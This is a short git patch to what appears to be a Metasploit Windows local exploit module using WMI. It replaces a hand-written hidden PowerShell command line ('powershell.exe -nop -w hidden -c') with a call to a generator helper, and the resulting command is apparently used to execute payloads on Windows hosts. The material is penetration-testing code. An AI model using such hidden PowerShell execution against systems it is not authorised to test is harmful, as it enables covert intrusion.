From 622a1dccda930ce20093f16d4699bd0f9acd4433 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 22 Nov 2013 23:18:22 +0000 Subject: [PATCH] Update wmi to use generated powershell command line --- modules/exploits/windows/local/wmi.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/wmi.rb b/modules/exploits/windows/local/wmi.rb index d40d33e886..8043057f70 100644 --- a/modules/exploits/windows/local/wmi.rb +++ b/modules/exploits/windows/local/wmi.rb @@ -93,7 +93,11 @@ class Metasploit3 < Msf::Exploit::Local end x = rand_text_alpha(rand(3)+3) - exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''" + exec_cmd = generate__psh_command_line({ + :noprofile => true, + :windowstyle => 'hidden', + :command => "$#{x} = ''" + }) env_vars.each do |env| exec_cmd << "+$env:#{env}" end